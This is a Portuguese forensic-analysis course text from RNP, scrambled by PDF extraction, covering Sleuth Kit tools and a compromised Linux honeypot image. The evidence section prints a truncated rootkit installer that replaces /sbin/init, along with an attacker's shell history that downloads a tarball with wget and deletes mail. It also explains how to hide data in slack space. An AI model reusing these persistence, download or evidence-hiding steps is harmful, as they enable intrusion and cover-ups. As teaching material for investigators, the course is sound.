Permite extrair um arquivo a partir de um inode, sem deletados. Com o inode sabendo onde um arquivo está
precisar saber o nome do arquivo. armazenado, como por exemplo utilizando fls ou ls–i,
# icat -f linux-ext2 é possível recuperar o arquivo utilizando o icat como
/data/dev_sda2_root.img 4317 >
/data/inode_4317_nxclient.dat
mostra o exemplo.
ifind
No primeiro exemplo, temos um bloco do disco que poderia conter dados importantes
que queremos recuperar. Para achar o inode que está alocando este bloco, isto é, o
arquivo que continha originalmente este bloco, utilizamos primeiro o ifind para encontrar o
inode, e após isso utilizamos o ffind para encontrar o nome de arquivo correspondente.
ils
Ferramentas do nível de metadados
Lista as estruturas de metadados e seus conteúdos
ils
Lista as estruturas de metadados e seus conteúdos em em um formato fácil de se tratar. O ils faz com ino-
um formato fácil de tratar. des o mesmo que o fls fez com nomes de arquivos.
Faz com inodes o mesmo que o fls fez com nomes de Exemplo:
arquivos.
# ils –r –f linux-ext2 /data/dev_sda2_root.img
# ils –r –f linux-ext2 /data/dev_sda2_root.img
# ils -m -f linux-ext2 -e -r /data/dev_sda2_root.img >
/data/dev_sda2_root.img.ils
# ils -m -f linux-ext2 -e -r /data/dev_sda2_root.
img > /data/dev_sda2_root.img.ils
# ils –O –f linux-ext2 /data/dev_sda2_root.img
E o terceiro exemplo é útil em um sistema ligado, permitindo listar todos os inodes que
foram removidos, mas ainda estão abertos. Com isto, poderemos identificar algum exe-
cutável ou arquivo de logs removido do disco pelo invasor, mas que continua aberto em
memória. Isto é muito comum quando um invasor instala um sniffer na máquina. Ele exe-
cuta o sniffer, descobre em qual inode o arquivo de logs está armazenado, removendo
em seguida o binário do sniffer e o arquivo de logs. Como o arquivo vai permanecer
aberto, nenhum novo arquivo poderá sobrescrever as áreas do disco onde esse log
está sendo armazenado, e ele não vai aparecer mais no sistema de arquivos. Quando o
invasor precisar, poderá voltar à máquina, e recuperar o arquivo a partir do inode. Este
é um método muito simples de esconder evidências no sistema.
dstat
dstat
Mostra estatísticas e detalhes sobre um bloco de dados.
Mostra estatísticas e detalhes sobre um bloco de
# dstat -f linux-ext2 /data/dev_sda2_root.img dados.
251399
Fragment: 251399
Allocated # dstat -f linux-ext2 /data/dev_sda2_root.img
Group: 30 251399
Fragment: 251399
Allocated
Group: 30
dcat
Ferramentas do nível de blocos de dados
# dcat -f linux-ext2 /data/dev_sda2_root.img 2513998
dcat root:x:0:0:root:/root:/bin/bash
Extrai um bloco de dados de um disco. Utilizaremos daemon:x:1:1:daemon:/usr/sbin:/bin/sh
esta ferramenta quando não for possível identificar a bin:x:2:2:bin:/bin:/bin/sh
qual arquivo ou inode pertence um determinado bloco.
Permite recuperar dados parciais de arquivos.
# dcat -f linux-ext2
/data/dev_sda2_root.img 251399
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
dls
Ferramentas do nível de blocos de dados
dls
Lista detalhes sobre unidades de dados, e pode lis-
Lista detalhes sobre unidades de dados, e pode listar blocos de tar blocos de dados desalocados de um sistema de
dados desalocados de um sistema de arquivos. arquivos. Estes blocos contêm o espaço livre e os
# dls -A -a -l -f linux-ext2 /data/dev_sda2_root. arquivos deletados em disco.
img 27891 27895
class|host|image|first_time|unit
dls|Helix||1199680475|Fragment # dls -A -a -l -f linux-ext2 /data/dev_sda2_root.
addr|alloc
27891|a
img 27891 27895 8
27892|a
27893|a
class|host|image|first_time|unit
27894|f dls|Helix||1199680475|Fragment
27895|f
# dls -A -f linux-ext2 /data/dev_sda2_root.img > / addr|alloc
data/dev_sda2_root.img.dls 27891|a
27892|a
27893|a
27894|f
27895|f
No primeiro exemplo, o dls lista o estado de alocação dos blocos entre os valores
indicados. Podemos ver que os blocos alocados aparecem com o status a, e os
desalocados estão listados como f.
dcalc
Ferramentas do nível de blocos de dados
Usado para encontrar na imagem original o bloco de
dcalc
Usado para encontrar na imagem original o bloco de dados correspondente ao encontrado na imagem de
dados correspondente ao encontrado na imagem de blocos de dados desalocados. Exemplo:
blocos de dados desalocados. Exemplo:
# grep -ab ‘ http://www’ /data/dev_sda2_root.img.dls8
# grep -ab ‘ http://www’ /data/dev_sda2_root.img.dls
# fsstat /data/dev_sda2_root.img | grep “Block Size”
# echo $((4045060/1024)) # fsstat /data/dev_sda2_root.img | grep “Block Size“8
# dcalc -u 3950 /data/dev_sda2_root.img
# dcat /data/dev_sda2_root.img 31844 # echo $((4045060/1024))8
# echo $((4045060/1024))8
3950
Outras ferramentas
Outras ferramentas
mmls mmls
Mostra informações sobre o layout do disco, incluindo
espaços não particionados. Mostra informações sobre o layout do disco, incluindo
A saída identifica o tipo das partições e seus tamanhos,
facilitando a utilização do comando dd para extrair partições. espaços não particionados. A saída identifica o tipo
A saída é ordenada pelo setor inicial, facilitando encontrar das partições e seus tamanhos, facilitando a utiliza-
espaços no layout.
ção do comando dd para extrair partições. A saída
# mmls -t dos /dev/sda é ordenada pelo setor inicial, facilitando encontrar
DOS Partition Table
Offset Sector: 0 espaços no layout.
Units are in 512-byte sectors
hfind
mactime
Outras ferramentas
Pega a saída dos comandos ils ou fls e cria um time-
mactime
Pega a saída dos comandos ils ou fls e cria um line, ou linha de eventos, da atividade de arquivos
timeline, ou linha de eventos, da atividade de arquivos no disco. Como veremos em sessões posteriores,
no disco. o timeline é a principal ferramenta para remontar os
# mactime -b /data/dev_sda2_root.img.mac -
passos de uma invasão.
p /etc/passwd -z GMT-3
# mactime -b /data/dev_sda2_root.img.mac -p /etc/pa
sswd -z GMT-38
disk_stat
disk_sreset
Outras ferramentas
Este comando permite remover o bloqueio de
disk_sreset
Permite remover o bloqueio de acesso ao HPA, acesso ao HPA, permitindo assim que o investigador
permitindo que o investigador tenha acesso aos tenha acesso aos setores de disco protegidos e ao
setores de disco protegidos. seu conteúdo.
# disk_sreset /dev/sda # disk_sreset /dev/sda8
Removing HPA from 268435454 to 312500000
until next reset Removing HPA from 268435454 to 312500000 until next
reset
sorter
Outras ferramentas
Analisa e ordena os arquivos em uma imagem de
sorter
Analisa e ordena os arquivos em uma imagem de disco baseada em disco baseada em um banco de dados de assinatu-
um banco de dados de assinaturas de arquivos. ras de arquivos. Serve para identificar rapidamente se
# mkdir -p /usr/local/sleuthkit-2.09/share/file/ existem em disco arquivos de um determinado tipo.
# cp /usr/share/file/magic /usr/local/sleuthkit-
2.09/share/file/ # mkdir -p /usr/local/sleuthkit-2.09/share/file/8
# sorter -f linux-ext2 -d /data/sorter
/data/dev_sda2_root.img # cp /usr/share/file/magic /usr/local/sleuthkit-2.09
Analyzing "/data/dev_sda2_root.img“
Loading Allocated File Listing
/share/file/8
Processing 12674 Allocated Files and Directories
… # sorter -f linux-ext2 -d /data/sorter /data/dev_sd
100%
All files have been saved to: /data/sorter a2_root.img8
Analyzing “/data/dev_sda2_root.img“
Loading Allocated File Listing
Processing 12674 Allocated Files and Directories
…
100%
All files have been saved to: /data/sorter
sigfind
Outras ferramentas
# hexdump -C /usr/X11R6/lib/X11/fonts/100dpi/UTBI__
10-ISO8859-1.pcf.gz | head -18
00000000 1f 8b 08 00 af 09 8c 43 00 03 a5 5a 0b 70
5c d5 |.......C...Z.p\.|
Fizemos uma última verificação com o comando hexdump para mostrar que os
três primeiros bytes do arquivo são mesmo 0x1f8b08.
srch_strings
Outras ferramentas
O comando strings tem um problema que muitas
srch_strings
vezes pode atrapalhar os resultados de uma inves-
Permite realizar as mesmas tarefas do comando
strings, com a diferença de poder procurar por tigação. Caso exista algum texto de evidência que
caracteres com outra codificação. utilize uma codificação diferente do padrão ASCII,
Veja os exemplos abaixo: strings não vai mostrá-lo. Por isso, o comando srch_
# strings –a /data/ HelloWorld.doc strings existe para suprir essa deficiência. Ele per-
# srch_strings -a -e l /data/ HelloWorld.doc mite realizar as mesmas tarefas do comando strings,
# srch_strings -a -e b /data/ HelloWorld.doc
# srch_strings -a -e s /data/ HelloWorld.doc com a diferença de poder procurar por caracteres
# srch_strings -a -e S /data/ HelloWorld.doc
com outra codificação. Veja os exemplos ao lado:
Nos exemplos, mudando o tipo de codificação com o parâmetro –e podemos ver a dife-
rença na saída dos comandos, comparados com o comando strings normal. Em cada
caso, utilizamos uma codificação diferente, de acordo com o parâmetro passado em –e
<codificacao>. Isto pode ser importante para encontrar arquivos que estejam em outra
codificação, como por exemplo se o invasor for proveniente de países orientais.
foremost
Quando o número de arquivos que precisamos recuperar for muito grande, fica
inviável realizar essa tarefa manualmente. O foremost é uma ferramenta escrita
pela força aérea americana, com o objetivo de facilitar a procura e recuperação
de arquivos baseados em suas assinaturas. Ele utiliza um arquivo de configuração
onde é possível especificar as assinaturas que deseja procurar.
# mkdir /data/foremost8
# ls /data/foremost8
audit.txt htm jpg
Podemos ver que o comando cria um diretório para cada tipo de arquivo identi-
ficado, e dentro dele armazena os arquivos do tipo que foram recuperados da
imagem especificada. No nosso exemplo, utilizamos a imagem dls que, conforme
vimos, contém os blocos de dados desalocados do disco original.
CD de ferramentas
CD de ferramentas
CD de ferramentas
Conclusões
Conclusões
\\90-110 minutos
70
Escola Superior de Redes RNP
Sumário da sessão
Coleta de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Sistema comprometido. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Tipos de evidências . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 72
Primeiros passos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 73
Armazenagem de evidências. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
Técnicas de coleta. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 76
Arquivos de logs. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 77
Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83
Coleta de evidências
Coleta de evidências
Utilizaremos um modelo virtual de um sistema comprometido, No material do aluno existe uma máquina virtual
utilizado no “Scan Of The Month 29” do projeto Honeynet. chamada “Linux”, que pode ser utilizada para testar
Esta máquina virtual foi parada em um momento específico
após a invasão, para que fosse possível analisar o sistema o procedimento de coleta da imagem do disco do
como se estivesse utilizando a máquina. sistema comprometido. Além disso, a máquina virtual
Como esta máquina virtual é antiga, as versões mais novas do
VMWare não conseguem mais abri-la.
original do “Scan of the Month 29” está disponível, e
Por isso, vamos utilizar uma outra máquina virtual, configurada chama-se “linux-suspended.tgz”.
para usar o disco da máquina antiga.
Dessa forma, poderemos acessar o disco com um Live CD do
Helix, e capturar uma imagem do disco. Esta máquina virtual do SOTM29 foi utilizada como
É essa imagem que vamos analisar nas próximas sessões. exemplo no trabalho de certificação para o SANS de
um técnico da RNP, Jacomo D. B. Piccolini. Este tra-
balho ilustra muito bem o modo de realizar a análise
forense em um sistema vivo. Como a quantidade de evidências encontradas nessa
máquina é muito grande, não iremos procurar exaustivamente por elas.
Tipos de evidências
Tipos de evidências
Primeiros passos
Coleta de evidências
74
Escola Superior de Redes RNP
CONTENT INFORMATION
--------------------------------------------
Block Range: 0 - 235515
Block Size: 4096
Free Blocks: 144419
# mkdir /mnt/image8
# file /mnt/image/dev/ttyop8
# strings /mnt/image/dev/ttyop8
Armazenagem de evidências
Armazenagem de evidências
tag# 20080118-1750-txt-0001
Temos também informações sobre o arquivo em si.
Tipo Arquivo de texto Nome, tipo do arquivo, tamanho e data de criação,
Nome /mnt/image/dev/ttyop
uma descrição do que é o arquivo e o hash SHA1 do
SHA1 hash 2a7badc291e94f3dcb621c0b7abf100eb0ad88cd
Tamanho 74 bytes mesmo. Com isso, teremos informações suficientes
Data 2002/03/18
para identificar e referenciar o arquivo em um rela-
Descrição Arquivo com nomes de processos/arquivos
Observações Relacionado com evidências 20040907-1750- tório, bem como garantir que o arquivo estará tão
txt-0002 e 20040907-1750-txt-0003
íntegro como no momento em que foi encontrado.
Armazenagem de evidências
tag# 20080118-1750-txt-0002
Tipo Arquivo de texto
Nome /mnt/image/dev/ttyoa
SHA1 hash fe3b2e77710875617dee295e1f880b
9fcc4d9300
Tamanho 134 bytes
Data 2002/09/04
Descrição Arquivo com endereços de
rede/portas
Observações
Coleta de evidências
76
Escola Superior de Redes RNP
Utilizar inicialmente as ferramentas do sistema para Os exemplos de comandos mostram diversas formas
encontrar pistas valiosas. de procurar por evidências em disco:
# find /mnt/image -name .\*
# find /mnt/image –name “[ ]*.*”
# find /mnt/image -name .\*8
# strings -a -n4 /data/compromised/compromised_hda1.img
# grep –E “[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}” # find /mnt/image –name “[ ]*.*”8
/data/compromised/compromised_hda1.img.str
# grep -i “ttyoa”
/data/compromised/compromised_hda1.img.str
# strings -a -n4 /data/compromised/compromised_hda1
# grep “tar\.gz”
.img8
/data/compromised/compromised_hda1.img.str
# grep -f /data/dirt_list.txt # grep –E “[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9
/data/compromised/compromised_hda1.img.str
]{1,3}” /data/compromised/compromised_hda1.img.str8
\\O primeiro exemplo de comando procura por arquivos que comecem com um
ponto, que no Linux correspondem a arquivos escondidos (atributos hidden,
como no DOS). Eles podem ser importantes para encontrar arquivos que
normalmente não são mostrados em um ls –l.
\\O quarto comando mostra como procurar por endereços IP no arquivo de strings.
\\O último exemplo mostra como utilizar uma dirt list para realizar uma procura
na imagem por palavras-chave.
# ls –la /mnt/image/var/log8
Técnicas de coleta
# more /mnt/image/var/log/boot.log8
Analisar os arquivos de sistema, logs, binários,
# more /mnt/image/var/log/secure8
inicialização e históricos de comandos.
Verificar dados importantes armazenados em disco. # more /mnt/image/var/log/maillog8
# ls –la /mnt/image/var/log
# find /mnt/image -name \*.log8
# more /mnt/image/var/log/boot.log
# more /mnt/image/var/log/secure
# more /mnt/image/etc/opt/psybnc/log/psybnc.log8
# more /mnt/image/var/log/maillog
# find /mnt/image -name \*.log # cat /mnt/image/usr/lib/libice.log8
# more /mnt/image/etc/opt/psybnc/log/psybnc.log
# cat /mnt/image/usr/lib/libice.log
Os arquivos de log são importantes, pois contêm
informações de tempo sobre os eventos ocorridos
na máquina, podendo ser relacionados a fontes
externas como logs de roteadores e firewalls. No
entanto, é importante não confiar somente no log.
Arquivos de logs
Arquivos de logs
A análise de arquivos de logs é um passo importante
A análise de arquivos de logs é um passo importante
na análise forense, embora nunca se deva confiar
na análise forense, embora nunca se deva confiar
totalmente em um log. totalmente em um log. Às vezes, até mesmo a falta
Às vezes, até mesmo a falta de alguma informação em de alguma informação em um log pode ser uma
um log pode ser uma evidência importante. evidência importante. O investigador deve procurar
O investigador deve procurar todos os arquivos de
todos os arquivos de logs armazenados em disco.
logs armazenados em disco.
É importante tentar correlacionar os logs com outros
eventos: data de criação/acesso/remoção de arquivos, É importante tentar correlacionar os logs com outros
outros logs, eventos capturados em dispositivos de eventos: data de criação/acesso/remoção de arqui-
rede etc.
vos, outros logs, eventos capturados em dispositivos
de rede etc.
Coleta de evidências
78
Escola Superior de Redes RNP
Além dos endereços externos de e-mail, que podem ser uma indicação de pista do
invasor da máquina, temos também a informação do usuário local que enviou o e-mail.
Repare que nos primeiros casos, temos o usuário “apache” com “UID 48” enviando
o e-mail, e a seguir temos o usuário “root” com “UID 0” enviando e-mail, o que pode
ser uma indicação do momento em que ocorreu a invasão e o comprometimento do
sistema, com a obtenção do acesso de super usuário pelo invasor.
\\/etc/rc.local
Muitas vezes, arquivos de inicialização podem conter comandos para controlar o sis-
tema após reiniciar a máquina, fornecendo pistas de onde procurar por mais evidências.
# file /mnt/image/lib/.x/inst8
/mnt/image/lib/.x/inst: Bourne-Again shell script text executable
# cat /mnt/image/lib/.x/inst8
#!/bin/bash
D=”/lib/.x”
H=”13996”
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer
echo -n -e “\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\17
0\
...
\313\233\330\157\000\000” | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H};
fi; rm -f /sbin/init; cp sk /sbin/init
echo Your home is $D, go there and type ./sk to install
echo Have phun!
# file /mnt/image/lib/.x/inst8
No exemplo, encontramos o arquivo de instalação de
um rootkit /mnt/image/lib/.x/inst: Bourne-Again shell script
text executable
# find /mnt/image/ -name inst
/mnt/image/usr/lib/perl5/5.6.0/ExtUtils/inst
/mnt/image/lib/.x/inst
# cat /mnt/image/lib/.x/inst8
# file /mnt/image/lib/.x/inst
/mnt/image/lib/.x/inst: Bourne-Again shell script text executable #!/bin/bash
# cat /mnt/image/lib/.x/inst
#!/bin/bash D=”/lib/.x”
D="/lib/.x"
H="13996" H=”13996”
mkdir -p $D; cd $D
echo > .sniffer; chmod 0622 .sniffer mkdir -p $D; cd $D
echo -n -e "\037\213\010\010\114\115\016\076\002\003\163\153\000\355\175\177\170\
...
\313\233\330\157\000\000" | gzip -d > sk
echo > .sniffer; chmod 0622 .sniffer
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp -f /sbin/init /sbin/init${H}; fi; rm -f
/sbin/init; cp sk /sbin/init
echo -n -e “\037\213\010\010\114\115\016\076\002\00
echo Your home is $D, go there and type ./sk to install 3\163\153\000\355\175\177\170\
echo Have phun!
...
\313\233\330\157\000\000” | gzip -d > sk
chmod 0755 sk; if [ ! -f /sbin/init${H} ]; then cp
-f /sbin/init /sbin/init${H}; fi; rm -f /sbin/init;
cp sk /sbin/init
echo Your home is $D, go there and type ./sk to ins
tall
echo Have phun!
Coleta de evidências
80
Escola Superior de Redes RNP
Uma das primeiras providências tomadas por um Uma das primeiras providências tomadas por um invasor
invasor ao adquirir o controle de uma máquina é tentar ao adquirir o controle de uma máquina é tentar apagar
apagar seus rastros.
seus rastros. Por isso, muitas vezes os arquivos de
A maioria dos invasores não têm um conhecimento
profundo do sistema.
logs ou de histórico de comandos são apagados.
Os históricos de comandos são criados pelo shell e
geralmente armazenados em arquivo no fim da sessão. A maioria dos invasores não têm um conhecimento
Muitos invasores esquecem desse detalhe. profundo do sistema, e geralmente não conseguem
Alguns invasores costumam remover o histórico de
comandos e redirecionar o arquivo para o dispositivo
remover todos os seus rastros. Os históricos de
/dev/null comandos são criados pelo shell e geralmente
armazenados em arquivo no fim da sessão. Muitos
invasores esquecem desse detalhe.
# file /mnt/image/.bash_history8
amore/mnt/image/.bash_history: ASCII text
# cat /mnt/image/.bash_history8
id
uptime
./inst
hostname
hostname sbm79.dtc.apu.edu
cd /dev/shm/sc
./install sbm79.dtc.apu.edu
rm -rf /var/mail/root
ps x
cd /tmp
ls -a
wget izolam.net/sslstop.tar.gz
ps x
ps aux | grep apache
kill -9 21510 21511 23289 23292 23302
Conclusões Conclusões
Vimos nesta sessão o que são evidências e como Na próxima sessão veremos as ferramentas e técni-
tratá-las e armazená-las de maneira a garantir a cas para recuperação completa ou parcial de evidên-
integridade e a cadeia de custódia das mesmas. cias removidas do disco.
Aprendemos a encontrar evidências utilizando
ferramentas básicas disponíveis em qualquer
distribuição Linux. Veremos também algumas técnicas para análise de
Ainda existem muitas evidências presentes na arquivos suspeitos encontrados. Apesar desta ser a
imagem analisada nesta sessão. A análise forense é
parte mais demorada do processo, veremos que as
um processo cíclico, demorado e sujeito a erros.
É importante tentar correlacionar evidências para técnicas são simples e de fácil execução.
garantir a validade das informações coletadas.
Coleta de evidências
82
Escola Superior de Redes RNP
Tópicos e conceitos
\\90-110 minutos
84
Escola Superior de Redes RNP
Sumário da sessão
Recuperação de arquivos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 88
Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
Roteiro de atividades . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 97
Recuperação de arquivos
Recuperação de arquivos
Um arquivo TAR pode conter informações importantes sobre quem o criou. Neste caso,
vemos o username e o grupo do usuário que criou o arquivo TAR. Além disso, observa-
mos que o arquivo TAR contém um arquivo chamado core. Conforme examinaremos na
próxima sessão, esse arquivo pode conter informações valiosas sobre o invasor.
Verificamos ainda na saída do comando que o arquivo foi recuperado quase total-
mente, apenas com alguns erros que foram mostrados pelo comando.
# ls -li /data/compromised/test.gz8
937288 -rw-r--r-- 1 root root 5252 Jan 17 12:06 /
data/compromised/test.gz
inode: 937288
Allocated
Group: 58
Generation Id: 1159893987
uid / gid: 0 / 0
mode: -rw-r--r--
size: 5252
num of links: 1
Inode Times:
Accessed: Thu Jan 17 12:06:12 2008
File Modified: Thu Jan 17 12:06:13 2008
Inode Modified: Thu Jan 17 12:06:13 2008
Direct Blocks:
262651 262652
Aqui apenas criamos o arquivo que usaremos como exemplo, e mostramos com ls
–li e istat algumas informações sobre o arquivo e o inode onde ele está armaze-
nado, para compararmos posteriormente com o resultado obtido.
O debugfs funciona tanto com o Ext2 quanto com o Ext3 e tem a capacidade de
acessar as informações do journal do sistema de arquivos. É uma ferramenta
presente no pacote E2fsprogs, que normalmente é instalado com qualquer distri-
buição Linux, ou seja, está presente em praticamente qualquer Linux. Entretanto,
só pode ser utilizado para Ext2 ou Ext3. Existem outras versões para sistemas
específicos, como o debugfs-reiser4 para ReiserFS.
Vamos utilizar o debugfs, pois ele tem a capacidade de listar as informações pre-
sentes no journal do sistema de arquivos.
# debugfs /dev/sda58
Recuperação de arquivos journaling
debugfs 1.39-WIP (10-Dec-2005)
# debugfs /dev/sda5
debugfs: logdump -i <937288>
debugfs 1.39-WIP (10-Dec-2005)
debugfs: logdump -i <937288>
Inode 937288 is at group 58, block 1900546, offset 896
Inode 937288 is at group 58, block 1900546, offset 896
Journal starts at block 1, transaction 116 Journal starts at block 1, transaction 116
…
FS block 1900546 logged at sequence 1143, journal block 6560 …
(inode block for inode 937288):
Inode: 937288
User: 0
Type: regular
Group: 0
Mode: 0644
Size: 5252
Flags: 0x0 Generation: 1159893987
FS block 1900546 logged at sequence 1143, journal
… block 6560
ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
(inode block for inode 937288):
Blocks: (0+2): 262651
FS block 1900546 logged at sequence 1145, journal block 6570 Inode: 937288 Type: regular Mode: 0644 Flags: 0x0
(inode block for inode 937288):
Inode: 937288 Type: regular Mode: 0644 Flags: 0x0 Generation: 1159893987
Generation: 1159893987
…
User: 0 Group: 0 Size: 0
User: 0 Group: 0 Size: 5252
ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008 …
mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008 ctime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
Blocks:
No magic number at block 6578: end of journal.
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa725 -- Thu Jan 17 12:06:13 2008
Blocks: (0+2): 262651
FS block 1900546 logged at sequence 1145, journal
block 6570
(inode block for inode 937288):
Inode: 937288 Type: regular Mode: 0644 Flags:
0x0 Generation: 1159893987
User: 0 Group: 0 Size: 0
…
ctime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
atime: 0x478fa724 -- Thu Jan 17 12:06:12 2008
mtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
dtime: 0x478fa802 -- Thu Jan 17 12:09:54 2008
Blocks:
No magic number at block 6578: end of journal.
É importante notar que a saída do comando logdump -i pode ser bem longa,
dependendo da atividade do inode pesquisado. O importante é procurar a infor-
mação mais próxima do timestamp encontrado no inode do arquivo visto anterior-
mente com o comando istat.
# dcat /dev/sda5 262651 2 > /tmp/recover.gz # dcat /dev/sda5 262651 2 > /tmp/recover.gz8
# file /tmp/recover.gz
/tmp/recover.gz: gzip compressed data, was
# file /tmp/recover.gz8
"compressed.files", from Unix, max compression /tmp/recover.gz: gzip compressed data, was “compres
# ls -l /tmp/recover.gz sed.files”, from Unix, max compression
-rw-r--r-- 1 root root 8192 Jan 17 12:26
/tmp/recover.gz # ls -l /tmp/recover.gz8
-rw-r--r-- 1 root root 8192 Jan 17 12:26 /tmp/recov
er.gz
# gzip -l -t /tmp/test_recovered.gz8
compressed uncompressed ratio uncompressed_name
5252 18067 71.1% /tmp/test_recovered
Conclusões
Conclusões
Tópicos e conceitos
\\90-120 minutos
98
Escola Superior de Redes RNP
Conclusões . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111
Arquivos, partes de logs, timestamps ou ferramentas Durante a investigação é comum encontrar arquivos,
podem comprovar atividades realizadas pelo invasor. partes de logs, timestamps ou ferramentas que com-
Muitas vezes estas evidências não são suficientes para provam atividades realizadas pelo invasor. Mesmo
obter uma imagem completa das atividades do invasor.
Outras vezes, a quantidade reduzida de evidências assim, muitas vezes não conseguimos ter uma
coletadas impede a montagem de uma seqüência lógica de imagem completa das atividades do invasor somente
eventos.
com estas evidências. Outras vezes, a quantidade
Aprenderemos a analisar evidências em arquivos de core
dump e a examinar arquivos binários. de evidências encontradas é tão pequena que ficam
Descobriremos como os invasores utilizam os espaços faltando dados suficientes para a montagem de uma
desperdiçados no fim dos blocos de dados para ocultar
seqüência lógica de eventos.
evidências.
Regras durante uma análise de executáveis: Algumas regras a serem seguidas durante uma aná-
Jamais execute o programa em sua estação forense; utilize lise de executáveis:
uma máquina separada e isolada exclusivamente para isso
A máquina de análise não deve estar conectada na internet \\Jamais execute o programa em sua estação
Inicie a análise com ferramentas mais simples, como file,
strings e ldd forense; utilize uma máquina separada e isolada
Somente após coletar todas as informações possíveis com exclusivamente para isso;
estas ferramentas é que deve ser feita uma engenharia reversa
do código \\A máquina de análise não deve estar conectada
Em último caso deve-se executar o programa em um ambiente
controlado e isolado da rede na internet; conecte-a a outra máquina através
Jamais confie em um programa suspeito de um hub ou cabo cross-over, para o caso do
programa tentar conectar-se à rede. Deste modo
você poderá monitorar a atividade;
\\Inicie a análise com ferramentas mais simples, como file, strings e ldd;
Vemos pelo resultado do comando ldd que o executável smbd utiliza funções da
biblioteca de criptografia do sistema.
As strings acima foram resumidas e mostram apenas algumas partes mais importantes.
# file /mnt/image/usr/include/ice*8
/mnt/image/usr/include/iceconf.h: ASCII text
/mnt/image/usr/include/icekey.h: data
/mnt/image/usr/include/icepid.h: ASCII text
/mnt/image/usr/include/iceseed.h: data
Quando um servidor SSH é instalado, precisa de uma chave privativa para fun-
cionar. A chave é gerada de acordo com usuário e host, e neste caso podemos
ver que a informação ficou gravada no arquivo e pode dar indicações de onde o
hacker esteve antes de invadir o sistema.
Análise do código
Análise do código
Bot (do inglês robot) é um programa que permite que um invasor controle toda a
máquina remotamente. Uma rede de computadores infectados com bot forma uma
botnet e permite que o invasor controle centenas de computadores ao mesmo
tempo, através de um servidor central conhecido como controlador da botnet.
# nm /data/compromised/smbd\ -D8
08054ccc T MD5Final
08054be0 T MD5Init
...
08049b84 ? _init
Com o comando nm, vemos as funções que o programa exporta ou importa das
bibliotecas, e também a função inicial do programa, chamada logo que ele é
carregado na memória. Esta é a função que devemos procurar em um depurador,
para interromper o programa antes que ele execute alguma função perigosa.
(gdb) bt
#0 0x08049b85 in _init ()
#1 0xb7df3e5d in __libc_start_main () from /lib/
tls/libc.so.6
#2 0x0804a501 in _start ()
(gdb) disassemble 0x08049b85 0x08049baa
Dump of assembler code from 0x8049b85 to 0x8049baa:
0x08049b85 <_init+1>: mov %esp,%ebp
Com o comando step podemos ir avançando linha por linha do código, para saber
as funções do programa. O comando bt mostra o backtrace do programa, isto
é, a pilha de chamadas de funções do programa, que serve para conhecer mais
sobre o fluxo do programa.
Novamente, não vamos realizar aqui uma análise completa do programa, pois isso
levaria muito tempo.
Slack space
Slack space
Bloco de dados
dados do arquivo slack space
Exemplo:
Slack space
# du -sb /data/dirt_list.txt8
Exemplo: 60 /data/dirt_list.txt
# du -sb /data/dirt_list.txt
60 /data/dirt_list.txt # du -sk /data/dirt_list.txt8
# du -sk /data/dirt_list.txt 4 /data/dirt_list.txt
4 /data/dirt_list.txt
Mas o que isso tem a ver com esconder informação?
Contando que este espaço desperdiçado sempre vai existir, No exemplo, o arquivo tem 60 bytes, o que mostra
foram desenvolvidas ferramentas para esconder informações
nele. o primeiro comando. O segundo comando, ao mos-
O bmap é uma ferramenta para esconder dados no slack space trar o tamanho em kb, informa que o arquivo tem 4
de qualquer arquivo, ou até mesmo em um diretório inteiro, e
depois recuperar essas informações quando for necessário. kb, pois este é o espaço que ele ocupa em disco,
contando o slack space. O arquivo ocupa um bloco
inteiro, apesar de só utilizar 60 bytes deste bloco
para seus dados.
Este espaço extra pode ser utilizado para esconder informação. Como os dados
do arquivo não são modificados, sua assinatura SHA1 não é modificada, e como
não há nenhuma referência aos dados que estão neste espaço extra, o sistema
operacional nunca sabe que ele existe.
A seguir, escondemos um dado neste espaço. Veja que o programa bmap recebe
os dados que vão ser gravados no slack space através do STDIN, e o arquivo
especificado no comando é o arquivo onde vai ser gravada a informação.
Somente para verificar o funcionamento, lemos com o dcat o bloco de dados onde a
informação foi escondida, e notamos que os 60 bytes iniciais, marcados em negrito,
são do arquivo original, enquanto o restante faz parte do arquivo que foi escondido.
Os dois últimos exemplos mostram a ferramenta slacker, que permite gravar uma
